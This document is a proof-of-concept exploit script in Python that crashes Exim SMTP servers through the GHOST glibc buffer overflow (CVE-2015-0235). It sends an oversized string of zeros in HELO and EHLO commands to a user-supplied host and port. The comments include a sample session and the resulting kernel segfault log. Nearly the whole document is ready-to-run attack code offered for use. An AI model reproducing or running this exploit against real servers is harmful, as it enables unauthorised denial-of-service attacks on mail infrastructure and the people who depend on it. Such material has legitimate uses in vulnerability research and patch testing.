The below script is a PoC exploit for the GHOST vulnerability affecting Exim SMTP servers resulting in a service crash. #!/usr/bin/python # Exim ESMTP DoS Exploit by 1N3 v20150128 # CVE-2015-0235 GHOST glibc gethostbyname buffer overflow # http://crowdshield.com # # USAGE: python ghost-smtp-dos.py <ip> <port> # # Escape character is '^]'. # 220 debian-7-7-64b ESMTP Exim 4.80 ... # HELO # 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 # Connection closed by foreign host. # # user () debian-7-7-64b:~$ dmesg # ... # [ 1715.842547] exim4[2562]: segfault at 7fabf1f0ecb8 ip 00007fabef31bd04 sp 00007fffb427d5b0 error 6 in # libc-2.13.so[7fabef2a2000+182000] import socket import time import sys, getopt def main(argv): argc = len(argv) if argc <= 1: print "usage: %s <host>" % (argv[0]) sys.exit(0) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buffer = "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" target = argv[1] # SET TARGET port = argv[2] # SET PORT print "(--==== Exim ESMTP DoS Exploit by 1N3 - https://crowdshield.com" print "(--==== Sending GHOST SMTP DoS to " + target + ":" + port + " with length:" +str(len(buffer)) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect((target,int(port))) data = s.recv(1024) print "CONNECTION: " +data s.send('HELO ' + buffer + '\r\n') data = s.recv(1024) print "received: " +data s.send('EHLO ' + buffer + '\r\n') data = s.recv(1024) print "received: " +data s.close() main(sys.argv)